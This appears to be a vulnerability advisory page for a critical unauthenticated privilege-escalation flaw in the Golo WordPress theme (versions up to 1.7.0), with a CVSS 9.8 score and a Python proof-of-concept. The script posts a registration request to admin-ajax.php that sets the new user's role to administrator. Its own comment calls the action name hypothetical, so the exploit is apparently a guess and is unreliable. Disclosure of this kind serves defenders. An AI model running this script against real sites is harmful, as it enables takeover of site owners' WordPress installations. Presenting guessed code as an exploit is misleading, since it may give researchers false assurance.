Incorrect Privilege Assignment vulnerability in uxper Golo golo allows Privilege Escalation.This issue affects Golo: from n/a through <= 1.7.0.
CVSS Details
CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Golo <= 1.7.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Target configuration
target_url = "http://example.com/wp-admin/admin-ajax.php" # Replace with actual target
# The vulnerability allows unauthenticated privilege escalation
# by manipulating the 'role' parameter in a user registration/update action.
payload = {
"action": "golo_register_user", # Hypothetical action based on theme logic
"username": "attacker",
"email": "[email protected]",
"role": "administrator", # Malicious parameter to escalate privileges
"password": "P@ssw0rd!"
}
try:
# Sending the request without authentication headers
response = requests.post(target_url, data=payload)
if response.status_code == 200:
print("[+] Request sent successfully. Check if user was created as admin.")
print("[+] Response:", response.text)
else:
print("[-] Failed to send request.")
except requests.exceptions.RequestException as e:
print(f"[Error] Connection error: {e}")